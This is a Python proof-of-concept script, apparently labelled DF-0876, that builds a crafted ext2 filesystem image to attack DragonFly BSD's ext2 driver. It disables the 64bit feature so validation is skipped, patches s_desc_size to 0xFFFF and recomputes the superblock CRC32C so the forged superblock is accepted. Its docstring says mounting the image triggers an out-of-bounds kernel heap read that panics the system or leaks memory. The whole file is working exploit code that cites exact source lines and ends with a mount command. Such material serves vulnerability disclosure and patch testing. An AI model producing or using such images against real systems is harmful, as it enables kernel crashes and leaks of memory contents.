DF-0876 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 | #!/usr/bin/env python3 """ DF-0876 — ext2 image crafter. Produces an ext2/ext4 image with: * metadata_csum feature ENABLED (so the GD csum path runs at mount), and * 64bit feature DISABLED (so the desc_size validation in sys/vfs/ext2fs/ext2_vfsops.c:550 is NOT performed), and * s_desc_size patched to 0xFFFF on disk, and * the superblock CRC32C recomputed so ext2_sb_csum_verify (ext2_csum.c:87) accepts the patched superblock. On mount, ext2_compute_sb_data (vfsops.c:459) calls ext2_gd_csum_verify (vfsops.c:688 -> ext2_csum.c:708) which iterates fs->e2fs_gcount group descriptors and calls ext2_gd_csum (ext2_csum.c:666). Inside ext2_gd_csum, the METADATA_CKSUM branch reads `e3fs_desc_size - offset` bytes from `gd + offset` (ext2_csum.c:684-686); with desc_size=0xFFFF and offset=32, that read length is 65503 bytes — far past the 64-byte struct ext2_gd in the e2fs_gd slab allocation. This page-faults (panic on INVARIANTS-ON GENERIC) or leaks heap (info-leak on production). Usage: ./craft_img.py OUT_IMG [SIZE_KB] """ import os, sys, struct, subprocess, shutil # Standard on-disk ext4 superblock offsets (within superblock, not within image). # Cross-checked against struct ext2fs in sys/vfs/ext2fs/ext2fs.h: # offsetof e2fs_uuid = 104 # offsetof e3fs_desc_size = 254 (== Linux s_desc_size at SB+254) # offsetof e4fs_chksum_type = 373 # offsetof e4fs_chksum_seed = 624 # offsetof e4fs_sbchksum = 1020 # Superblock itself begins at byte 1024 in the image. SB_OFFSET = 1024 OFF_UUID = 104 OFF_DESC_SIZE = 254 OFF_CHKSUM_TYPE = 373 OFF_CHKSUM_SEED = 624 OFF_SBCHKSUM = 1020 # s_checksum, last 4 bytes of the 1024-byte SB SB_LEN = 1024 # ext2/e2fs feature flags (from sys/vfs/ext2fs/ext2fs.h) EXT2F_INCOMPAT_64BIT = 0x0080 EXT2F_ROCOMPAT_METADATA_CKSUM= 0x0400 EXT2F_ROCOMPAT_GDT_CSUM = 0x0010 EXT4_CRC32C_CHKSUM = 1 # ---- Castagnoli CRC32C, identical to libkern/icrc32.c (no in/out inversion) ---- _CRC32C_POLY = 0x82F63B78 # reflected def _make_table(): table = [] for i in range(256): crc = i for _ in range(8): crc = (crc >> 1) ^ _CRC32C_POLY if (crc & 1) else (crc >> 1) table.append(crc) return table _CRC32C_TABLE = _make_table() def calculate_crc32c(crc, buf): """Running CRC32C; same semantics as DragonFly's calculate_crc32c().""" for b in buf: crc = (crc >> 8) ^ _CRC32C_TABLE[(crc ^ b) & 0xff] return crc & 0xFFFFFFFF def craft(out_path, size_kb=4096): size_mb = (size_kb + 1023) // 1024 if os.path.exists(out_path): os.remove(out_path) # 1) Create a clean ext2 image: blocksize 1024, metadata_csum ON, # 64bit OFF, no journal, no misc features that complicate patching. mke2fs = shutil.which("mke2fs") or shutil.which("mkfs.ext4") cmd = [ mke2fs, "-t", "ext2", "-b", "1024", "-O", "metadata_csum,^64bit", "-O", "^resize_inode,^dir_nlink,^ext_attr,^filetype,^sparse_super,^large_file", "-E", "nodiscard", "-F", "-q", out_path, f"{size_mb}M", ] print("[*] running:", " ".join(cmd)) subprocess.run(cmd, check=True) with open(out_path, "r+b") as f: img = f.read() sb = bytearray(img[SB_OFFSET:SB_OFFSET + SB_LEN]) # Confirm feature flags feat_incompat = struct.unpack_from("<I", sb, 96)[0] feat_rocompat = struct.unpack_from("<I", sb, 100)[0] desc_size = struct.unpack_from("<H", sb, OFF_DESC_SIZE)[0] chksum_type = sb[OFF_CHKSUM_TYPE] print(f"[*] BEFORE patch:") print(f" features_incompat = 0x{feat_incompat:08x} " f"(64bit={'ON' if feat_incompat & EXT2F_INCOMPAT_64BIT else 'OFF'})") print(f" features_rocompat = 0x{feat_rocompat:08x} " f"(metadata_csum={'ON' if feat_rocompat & EXT2F_ROCOMPAT_METADATA_CKSUM else 'OFF'})") print(f" s_desc_size = {desc_size}") print(f" s_checksum_type = {chksum_type}") if not (feat_rocompat & EXT2F_ROCOMPAT_METADATA_CKSUM): raise SystemExit("metadata_csum feature not set; refusing to ship") if feat_incompat & EXT2F_INCOMPAT_64BIT: raise SystemExit("64bit feature is set; desc_size validation would run") # 2) Patch s_desc_size to 0xFFFF struct.pack_into("<H", sb, OFF_DESC_SIZE, 0xFFFF) # Make sure chksum_type is CRC32C (it always is for metadata_csum) sb[OFF_CHKSUM_TYPE] = EXT4_CRC32C_CHKSUM # 3) Recompute superblock CRC32C over [0 .. OFF_SBCHKSUM) and write to s_checksum. # ext2_sb_csum_set (ext2_csum.c:110-115): # e4fs_sbchksum = htole32(calculate_crc32c(~0, sb, offsetof(sb, e4fs_sbchksum))) new_sb_crc = calculate_crc32c(0xFFFFFFFF, bytes(sb[:OFF_SBCHKSUM])) struct.pack_into("<I", sb, OFF_SBCHKSUM, new_sb_crc) print(f"[*] AFTER patch:") print(f" s_desc_size = 0xFFFF ({struct.unpack_from('<H', sb, OFF_DESC_SIZE)[0]})") print(f" s_checksum = 0x{new_sb_crc:08x}") img = bytearray(img) img[SB_OFFSET:SB_OFFSET + SB_LEN] = sb with open(out_path, "wb") as f: f.write(img) print(f"[+] crafted image: {out_path} ({len(img)} bytes)") print(f"[+] mount with: mount_ext2fs {out_path} /mnt") if __name__ == "__main__": if len(sys.argv) < 2: print(__doc__); sys.exit(1) out = sys.argv[1] size = int(sys.argv[2]) if len(sys.argv) > 2 else 4096 craft(out, size) |